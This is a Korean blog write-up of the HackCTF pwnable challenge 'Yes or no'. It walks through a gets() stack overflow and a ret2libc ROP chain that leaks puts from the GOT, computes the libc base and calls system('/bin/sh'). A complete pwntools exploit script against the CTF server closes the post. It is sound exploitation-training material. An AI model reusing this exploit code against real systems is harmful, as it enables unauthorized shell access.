본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Yes or no 풀이

by snwo 2020. 4. 27.

문제파일을 다운로드하면, 실행파일과 libc-2.27.so 파일을 준다.

문제서버에서 사용하는 라이브러리다.

 

메인함수는, 입력한숫자를 문자열화해서, (어떠한값) 이랑 비교해서 맞을때

gets 함수로 입력을 받아 overflow 가 일어나게된다.

 

fgets 로 문자열을 입력받을때는 overflow 가 발생하지않으므로,

(어떠한값) 을 입력해서 gets 함수로 overflow 해야겠다.


main+237 에 BP 를 걸고 실행하면, (어떠한값) 을 구할수있다.

0x960000


10진수로 9830400 이니 입력하면, overflow 를 할수있게된다.


NX 가 활성화되어있으므로, 스택에 쉘코드를 올려 실행할 수 없다.

 

그렇다면, 함수주소를 leak 해서 system함수를 실행해보자.


 

1. puts 의 plt 주소로 리턴해 puts 의 got 주소를 출력시킨다.

2. puts 의 got 주소로 라이브러리의 베이스주소를 구한다.

3. 라이브러리 베이스주소 + system offset 으로 system 함수의 주소를 구한다.

4. main 으로 리턴한다.

5. main 에서 system함수로 리턴한뒤 쉘 실행


그렇다면, 스택에다가 넣어야할값들은

 

[DUMMY]

[pop rdi;ret]

[puts_got]

[puts_plt]

[main]

[DUMMY]

[pop rdi;ret]

[/bin/sh]

[ret]

[system]

 

이값들을 한번 구해보자.


pwntools 에있는 ELF 로 plt,got, 메인함수주소 를 쉽게 구할수있다.

/bin/sh 도 라이브러리에서 구할 수 있다.


ROPgadget 으로

pop dir;ret 

ret

가젯을 쉽게 구할 수 있다.


라이브러리는 ASLR 이 적용되어, system함수와 /bin/sh 문자열의 주소를 구하기위해

puts 함수의 got 을 구해온다음, lib 에서 puts 함수의 offset 을 빼면

library_base 이다.

라이브러리 베이스에 system 이나 /bin/sh 문자열의 offset 을 더하면,

실제주소를 구할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3009)
#r=process('./yes_or_no')
#context.log_level='debug'
 
b=ELF("./yes_or_no")
lib=ELF("libc-2.27.so")
 
prr=0x400883 #pop rdi; ret
ret=0x40056e
binsh=list(lib.search("/bin/sh"))[0]
 
pay1=""
pay1+='a'*0x12
pay1+='b'*8
pay1+=p64(prr)
pay1+=p64(b.got['puts'])
pay1+=p64(b.plt['puts'])
pay1+=p64(b.symbols['main'])  #puts_plt 호출해 puts_got 의 주소를 출력
 
r.recvline()
r.sendline(str(0x960000))
r.recvline()
r.sendline(pay1)
 
lib_base=u64(r.recv(6).ljust(8,'\x00'))-lib.symbols['puts']  # 출력된값 가져와 베이스구하기
 
binsh=lib_base+binsh
system=lib_base+lib.symbols['system']
 
pay2=""
pay2+='a'*0x12
pay2+='b'*8
pay2+=p64(prr)
pay2+=p64(binsh)
pay2+=p64(ret)
pay2+=p64(system)
 
r.sendline(str(0x960000))
r.sendline(pay2)
 
r.interactive()